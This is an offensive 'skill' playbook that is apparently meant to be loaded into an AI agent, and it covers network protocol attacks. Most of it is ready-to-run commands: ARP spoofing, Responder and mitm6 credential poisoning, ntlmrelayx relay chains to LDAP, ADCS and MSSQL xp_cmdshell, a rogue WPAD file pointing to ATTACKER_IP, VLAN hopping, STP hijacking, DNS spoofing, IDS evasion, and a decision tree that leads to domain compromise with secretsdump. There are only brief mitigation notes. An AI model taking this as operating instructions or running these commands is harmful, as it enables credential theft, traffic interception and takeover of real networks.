Network Protocol Attacks

SKILL: Network Protocol Attacks — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.

0. RELATED ROUTING

Before going deep, consider loading:

• tunneling-and-pivoting after establishing MitM position for traffic redirection
• ntlm-relay-coercion for relaying captured NTLM hashes from poisoning attacks
• unauthorized-access-common-services for exploiting services discovered during network attacks
• traffic-analysis-pcap for analyzing captured traffic from MitM

Advanced Reference

Also load NAME_RESOLUTION_POISONING.md when you need:

• Detailed Responder/mitm6 configuration and workflows
• NTLM relay target selection and chaining
• Credential format analysis and cracking priorities

---

1. ARP SPOOFING

Gratuitous ARP — MitM Positioning

# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

Selective Targeting

# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on

Detection Indicators

• Duplicate MAC addresses in ARP table
• Gratuitous ARP storms from non-gateway IPs
• Tools: arpwatch, static ARP entries, 802.1X port authentication

---

2. LLMNR / NBT-NS / mDNS POISONING

Responder — Credential Capture

# Basic poisoning (LLMNR + NBT-NS + mDNS)
responder -I eth0 -dwPv

# Key flags:
# -d  Enable answers for DHCP broadcast requests (fingerprinting)
# -w  Start WPAD rogue proxy
# -P  Force NTLM auth for WPAD
# -v  Verbose

# Analyze mode only (passive, no poisoning)
responder -I eth0 -A

Captured Hash Formats

# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt

Relay Instead of Crack

# ntlmrelayx — relay captured NTLM to other services
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access    # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"

---

3. WPAD ABUSE

# Responder with WPAD proxy
responder -I eth0 -wPv

# WPAD flow:
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture

Manual WPAD PAC File

// Rogue wpad.dat content
function FindProxyForURL(url, host) {
    return "PROXY ATTACKER_IP:3128; DIRECT";
}

---

4. DHCPv6 ATTACK — mitm6

Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.

# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com

# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access

# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD

Key Conditions

• SMB signing disabled on targets (for SMB relay)
• LDAP signing not enforced on DC (for LDAP relay)
• Domain Computers quota > 0 (for machine account creation, default: 10)

---

5. VLAN HOPPING

Switch Spoofing (DTP)

# yersinia — DTP attack to negotiate trunk
yersinia dtp -attack 1 -interface eth0

# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs

# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up

Double Tagging (802.1Q)

# Craft double-tagged frame: outer=native VLAN, inner=target VLAN
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")

# Limitation: one-way only (responses go to real gateway)
# Effective for blind attacks (e.g., targeting a server)

Mitigation

• Disable DTP: switchport nonegotiate
• Set native VLAN to unused: switchport trunk native vlan 999
• Prune VLANs: only allow needed VLANs on trunk ports

---

6. STP MANIPULATION

Root Bridge Claim

# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0

# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM

Topology Change Attack

# Send TC (Topology Change) BPDUs → force MAC table flush
yersinia stp -attack 1 -interface eth0
# Switches flood all ports temporarily → sniff traffic

Mitigation

• BPDU Guard on access ports
• Root Guard on designated ports
• spanning-tree portfast bpduguard enable

---

7. DNS SPOOFING

DNS Cache Poisoning

# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on

# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//

Kaminsky Attack Variant

Flood recursive resolver with forged responses for random subdomains, each including a malicious authority section pointing the NS record to attacker-controlled server.

---

8. IPv6 ATTACKS

Router Advertisement Spoofing

# Send rogue RA → victim configures attacker as default gateway
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64

# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0     # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ...    # Traffic redirection via ICMPv6 redirect

SLAAC Abuse

# Advertise rogue prefix → victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) → full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default

---

9. IDS/IPS EVASION

# fragroute — fragment and reorder packets
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP

# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET

---

10. DECISION TREE

Network access obtained — want to escalate via network attacks
│
├── On same broadcast domain as targets?
│   ├── YES → ARP spoof for MitM (§1)
│   │   └── Capture plaintext creds or redirect traffic
│   └── NO → need VLAN hopping first (§5)
│       ├── DTP enabled? → switch spoofing
│       └── Know native VLAN? → double tagging
│
├── Windows environment?
│   ├── LLMNR/NBT-NS enabled? (default YES)
│   │   └── Run Responder (§2) → capture NetNTLM hashes
│   │       ├── NTLMv1? → crack fast or relay
│   │       └── NTLMv2? → relay (§2) or crack with rules
│   │
│   ├── WPAD configured or auto-detect? → WPAD abuse (§3)
│   │
│   └── IPv6 not hardened? (default) → mitm6 + ntlmrelayx (§4)
│       └── LDAP relay → RBCD → domain compromise
│
├── Need DNS control?
│   ├── MitM already established? → DNS spoofing (§7)
│   └── DHCPv6 available? → mitm6 for DNS takeover (§4)
│
├── Managed switches with weak config?
│   ├── BPDU Guard off? → STP root bridge claim (§6)
│   └── DTP enabled? → VLAN hopping (§5)
│
├── IPv6 attack surface?
│   └── RA spoofing / SLAAC abuse (§8) → MitM over IPv6
│
└── IDS/IPS in path?
    └── Apply evasion techniques (§9) — fragmentation, timing, encoding

NAME RESOLUTION POISONING — Responder & mitm6 Deep Dive

Supplementary reference for network-protocol-attacks §2–§4. Load when you need detailed Responder configuration, relay chaining, or credential format analysis.

---

1. RESPONDER CONFIGURATION

Core Config — /opt/Responder/Responder.conf

[Responder Core]
; Turn specific servers on/off
SQL      = On
SMB      = On
RDP      = On
Kerberos = On
FTP      = On
POP      = On
SMTP     = On
IMAP     = On
HTTP     = On
HTTPS    = On
DNS      = On
LDAP     = On
DCERPC   = On
WinRM    = On

; Authentication type
; For relay: use Off for SMB and HTTP to avoid capturing (let ntlmrelayx handle it)
; For capture: keep On

[HTTP Server]
; Challenge to use for HTTP NTLM
Challenge = Random

Responder for Capture Mode

# Full capture — all protocols
responder -I eth0 -dwPv

# Output: /opt/Responder/logs/
# Files: HTTP-NTLMv2-CLIENT_IP.txt, SMB-NTLMv2-CLIENT_IP.txt, etc.
# Format: USER::DOMAIN:challenge:response:blob

Responder for Relay Mode

# Disable SMB and HTTP servers in Responder.conf (let ntlmrelayx handle auth)
# Responder.conf: SMB = Off, HTTP = Off

responder -I eth0 -dwPv

# In parallel terminal:
ntlmrelayx.py -tf targets.txt -smb2support

---

2. RELAY TARGET SELECTION

Identify Targets Without SMB Signing

# CrackMapExec — find hosts with SMB signing disabled
crackmapexec smb SUBNET/24 --gen-relay-list targets.txt
# Output: targets.txt with IPs where signing is not required

# Nmap
nmap -p 445 --script smb2-security-mode SUBNET/24
# Look for: "Message signing enabled but not required"

Relay Targets by Protocol

High-Value Relay Chains

# Chain 1: Responder → ntlmrelayx → LDAP → RBCD → silver ticket
ntlmrelayx.py -t ldaps://DC01 --delegate-access
# Creates machine account, sets RBCD → use getST.py for service ticket

# Chain 2: Responder → ntlmrelayx → LDAP → shadow credentials
ntlmrelayx.py -t ldaps://DC01 --shadow-credentials --shadow-target TARGET$

# Chain 3: Responder → ntlmrelayx → ADCS → certificate
ntlmrelayx.py -t http://CA01/certsrv/certfnsh.asp --adcs --template DomainController

# Chain 4: mitm6 → ntlmrelayx → LDAP → delegate
mitm6 -d domain.com &
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com --delegate-access

---

3. CREDENTIAL FORMAT ANALYSIS

NetNTLMv1 Hash

user::DOMAIN:LM_RESPONSE:NTLM_RESPONSE:SERVER_CHALLENGE

• Hashcat mode: 5500
• Can be downgraded if Responder uses a fixed challenge (1122334455667788)
• With fixed challenge → crack via crack.sh / rainbow tables instantly

# Force NTLMv1 downgrade (Responder.conf):
Challenge = 1122334455667788

# Then submit to crack.sh or use rainbow tables
# NTLMv1 with ESS: extract the real NT hash via DES cracking

NetNTLMv2 Hash

user::DOMAIN:SERVER_CHALLENGE:NTProofStr:BLOB

• Hashcat mode: 5600
• Cannot use rainbow tables (includes random client challenge)
• Requires dictionary + rules attack

hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/dive.rule

Cracking Priority

1. NTLMv1 (mode 5500) → crack first, fastest
2. NTLMv1-ESS with fixed challenge → crack.sh for free
3. NTLMv2 (mode 5600) → dictionary + rules
4. If cracking fails → relay instead of crack

---

4. mitm6 DETAILED WORKFLOW

Prerequisites

pip install mitm6
# Requires: scapy, twisted, ldap3

Attack Flow

Step 1: mitm6 sends DHCPv6 replies → victim gets IPv6 + attacker as DNS
Step 2: Victim DNS queries (IPv6) go to attacker
Step 3: Attacker returns WPAD config → forces NTLM auth
Step 4: ntlmrelayx captures NTLM and relays to target

# Terminal 1: mitm6
mitm6 -d domain.com -i eth0

# Terminal 2: ntlmrelayx with LDAP relay
ntlmrelayx.py -6 -t ldaps://DC01.domain.com -wh fakewpad.domain.com -l lootdir

# -6       : listen on IPv6
# -wh      : WPAD host to inject
# -l       : loot directory for dumped data
# --delegate-access : create machine account + set RBCD

Post-Exploitation After Successful Relay

# If --delegate-access succeeded:
# 1. Get service ticket via RBCD
getST.py -spn cifs/TARGET.domain.com -impersonate administrator \
    domain.com/'MACHINE$':'PASSWORD' -dc-ip DC_IP

# 2. Use ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass TARGET.domain.com

---

5. TROUBLESHOOTING

---

6. OPSEC CONSIDERATIONS

• Run Responder in analyze mode (-A) first to assess traffic
• Limit poisoning to specific targets to reduce noise
• Use --lm flag in Responder only if NTLMv1 downgrade is needed
• mitm6 affects all hosts on segment — use -hw to filter targets
• Clean up DHCPv6 leases after attack (they persist ~300 seconds)
• Monitor for AV/EDR alerting on tool signatures